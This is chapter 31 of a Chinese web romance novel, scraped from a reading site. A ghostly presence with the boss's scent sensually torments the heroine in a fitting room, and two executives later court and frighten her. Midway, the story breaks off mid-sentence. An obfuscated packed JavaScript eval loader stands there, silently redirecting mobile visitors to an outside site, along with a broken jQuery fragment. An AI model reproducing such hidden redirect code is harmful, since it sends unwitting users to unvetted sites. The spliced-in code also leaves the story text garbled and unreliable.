文趣网 > 其他小说 > 和共感霸总闹掰后 > 31. 第 31 章
    这股凉意似乎知晓她在生理期,始终没有越过腹部的界限。

    一如昨夜在车中,景从央从开始的畏惧挣扎,在闻嗅到那份和慕博简今日身上香水味一样的味道后,情不自禁变成了迎合接纳。

    不同的是,昨夜车中,她无法看到自己沉沦的模样,此刻,那面加宽的穿衣镜映照出她所有的反应。

    如果她害臊地闭上眼,裹挟着香气的凉意会故意加重刺激的力道,直到她求饶地睁开眼看向镜子。

    “从央,礼服穿好了吗?”

    在景从央化作一滩水随着看不见的凉意托起浮沉的时候,安哲盛的声音隔着门板传了过来。

    “快......快住手,我得出去了。”景从央幡然惊醒,脸上的红潮瞬间褪去,她低声与还缠着她不放的凉意打起商量,“你快放我下来,下次我们再继续好不好?”

    凉意似乎听进了她的话,缓缓将她从半空中放下,锁住她手腕的力道松懈,包裹住她上半身的束缚感与摩挲感也随之抽离。

    “呼——”感觉到色坯子凉意离开,景从央不由得呼出一口气,正低头整理散乱的内衣和礼服裙的时候,她惊呼着抱住心口。

    “你个色鬼!”她羞愤地对着空气怒骂一句,接着手忙脚乱地穿衣服,可是她越急,礼服裙越是不好穿上。

    拉链本就不好拉上,慌乱下她更是将拉链卡到后背的肉。

    “啊,好痛!”她痛呼着摔倒,混合着慕博简常用的辛辣微苦木质香水味的凉意结结实实地托住她的臀部。

    “从央,你怎么了?再不说话,我直接进来了。”安哲盛焦急的声音再次隔着门板响起,门把手传来转动的声响。

    景从央立即站直身体,胡乱地在身后挥了挥手,“你快走,不许再捣乱!”

    感受到凉意擒住她的手掌,在掌心画了几个圈圈后逐渐散去,景从央的提到嗓子眼的心这才落回原位。

    她抓起裙摆往后退了几步,下一刻,试衣间的门被打开,安哲盛的身影站在门口。

    金丝眼镜框后的丹凤眼转动,环顾试衣间一圈后,目光最终定格在景从央身上,眉宇间带着深深的关切,他握住景从央的手,“刚才听你喊痛,是磕到哪里还是摔倒了?让我看看有没有受伤。”

    “没有没有,是拉链卡到肉,大概是我太胖穿不下。”景从央连忙解释,垂眼看到自己粗糙的手被一只白皙纤长的手握着,强烈的视觉对比让她自行惭秽。

    安哲盛太过温柔,从第一次见面就一直关照她,现在又这么担心她,景从央感动的同时又觉得自己不配得到他的关心。

    她就是个永远不会变成天鹅的丑小鸭,突然得到白天鹅的关照,不自量力地生出几分以为自己也是同类的错觉。

    景从央想把手从安哲盛一看就是养尊处优的手中抽出,谁知她才抽出一半,手掌又被泛着热意的手抓住。

    “我帮你拉上。”说着,安哲盛来到她的身后。

    “不用麻......”景从央想拒绝,身后一紧,她感受到卡在半路的拉链游蛇般缓慢上移,同时一股比她体温略高的热意跟随拉链上移的速度贴着她的脊背向上攀爬。

    她被烫得身体忍不住战栗,一件小小帮忙拉拉链的举动让她手足无措,只能咬唇等待拉链快到尽头。

    “好了,照镜子看看喜不喜欢。”

    在她的默默祈祷中,拉链终于拉上,安哲盛火炉一般的手掌盖在她的肩头,带着她走近那面比她人还高的宽大试衣镜前。

    这面镜子一分钟前见证了她在那个“鬼”的掌控中意乱情迷的模样,现在她衣冠楚楚地面对它,还有点不好意思,她匆匆瞄了两眼镜中的自己便错开目光。

    “喜欢这个款式和颜色吗?还有其余颜色可以试试看。”安哲盛站在她身后,挺拔的身体略微俯下,下巴几乎要贴在景从央头顶,那双含笑的丹凤眼带着缱绻透过镜片直勾勾地吸引女孩与他对视。

    景从央呆愣地望着安哲盛,过了片刻,她才意识到自己这么一眨不眨地盯着男人似乎不妥,她习惯性地低下脑袋,“安总裁,不用试了,这件就可以。”

    有了指甲划坏礼服裙的例子在前,并且一件礼服就要十万以上,她一个负债累累的穷苦人,断不敢再去碰这家店铺里的任何一件礼服。

    生怕安哲盛会让她再去试别的礼服,她转身准备换下礼服裙换上自己的衣服。

    “不要急,让我好好看看。”安哲盛按住她的肩头,掰过她的身体让她重新面对穿衣镜,纤长的手指在她露出锁骨的方领附近似有若无地拂过。

    “安总裁,你,你的手......”景从央看着镜中那只比她枯黄的肌肤白了好几个度的手在她瘦得突出的锁骨上游走,心里生出几分惧意,她拿不准安哲盛到底要做什么。

    安哲盛如梦惊醒般拿开手,洁白的面颊霎时染上薄红,“抱歉,是我太没分寸吓到你了,我是觉得你脖子空空的,要是配上一条项链会更漂亮。”

    理解了他的意思后,景从央不免松了口气,心里的惧意瞬间消失,后知后觉自己把安哲盛想得很坏,她羞愧得脸颊同样带上了红晕,“我第一次穿这么贵的衣服有点紧张,安总裁你不用道歉,还有,项链什么的我不需要,我一戴项链就过敏。”

    景从央不敢再让他破费,打折后还要十万块一条的礼服裙虽然他说送给她,但她心里总觉得受之有愧。

    现在她没钱,先收下,等以后有钱了,她一定要把这十万块还给安哲盛。

    “那我们就不戴,走,我带你去找Ethan量尺寸。”安哲盛绅士地屈起手肘示意景从央挽着他。

    这样的礼仪,景从央在平时看的偶像剧里见过不少,现实里,还是第一次有人这样对她。

    她惊讶地又不好意思地耳朵一热,在安哲盛的柔声催促下,她终于伸手挽上。

    量完尺寸回来,换下礼服裙的景从央怎么也找不到自己的保暖内衣,想求助店主Ethan,又怕他说难听的话,只能放弃

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17577375|203613||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    寻找。

    直到回到集团大楼,景从央还在想自己的保暖内衣为什么会突然不见,按理说她这件衣服在网上买的,一套二十多块,还被她穿得起球勾丝,根本不值钱。

    实在想不通的她最终决定还是不去想了,她趴在办公桌上准备眯一会儿,谁知手边的电话响了。

    “来我这。”冰冷的命令口吻,不给她任何回绝的机会,电话便挂断。

    对着黑屏状态能照见人影的电脑显示屏,景从央抓了抓头上有几缕散乱的发丝,起身去了隔壁。

    “董事长,需要我做什么?”景从央站在隔间休息区的沙发旁,看着慵懒侧躺在沙发上的男人,心脏不受控地加快跳动。

    特别是随着空气流动,从慕博简身上飘来的香味和试衣间里禁锢她操纵她的香气一模一样,让她更不可控地身体发软。

    电梯里、车里、试衣间里,那份欲念满满的凉意和香气究竟是她对董事长产生不该有的心思引发的幻觉,还是真实存在的鬼魅?

    “去洗澡,你很臭。”慕博简眼眸半敛,随手指了一下浴室的方向。

    景从央第一反应是慕博简要通过用她的脖子吸血,她做错了什么,让他要吸干她的血?

    还是,她对他不堪的心思被他发现了?

    “董事长,我错了,你千万别吸干我的血,好不好?我以后一定改!”怕慕博简不信她的保证,她干脆竖起手指做出发誓状。

    慕博简半敛的眸子倏地睁开,他从沙发坐起,手臂撑在膝盖上,一脸玩味地盯着面色惊恐的女孩,“你错哪了?”

    “我......我......”景从央支支吾吾了好一阵都没说出个所以然来,她不敢也羞于说出自己做的梦以及那幻觉般的现实经历。

    慕博简也不急,他仰躺在沙发靠背上,长腿往前一伸,两只腿一左一右地将站在面前的景从央划到他的领地中。

    死灰色的桃花眼懒散地抬起,目光直直地定在脸色一阵红一阵白交替的景从央身上。

    谨记慕博简要求的景从央,即使又羞又怕,却还是乖乖地对上他探究的目光。

    可是,一看到他那张绝美精致的面庞,她的视野范围全部模糊,只余下作为焦点存在的慕博简。

    “不想说的话,先去洗澡。”慕博简故意用舌尖舔了一下牙齿,森冷的目光缓缓下移停留在景从央的脖颈处。

    将慕博简的动作和落在自己脖子上的眼神全都看在眼中的景从央,更觉得自己的猜对了,慕博简要她死!

    “董事长,不要杀我,求求你,放过我吧!”她哀求着摇头,双脚步步后退,眼角余光不断丈量自己离隔间门口的距离。

    确认自己可以飞快跑出门口,她顾不上会惹慕博简不快,转身朝门口狂奔。

    “站住!”慕博简迅速起身一把揪住像只受惊的兔子疯狂挣扎呼救的景从央,他单手提起她,轻嗤一声,“真想剖开你这呆瓜脑袋看看里面装了什么,我什么时候说要杀你?”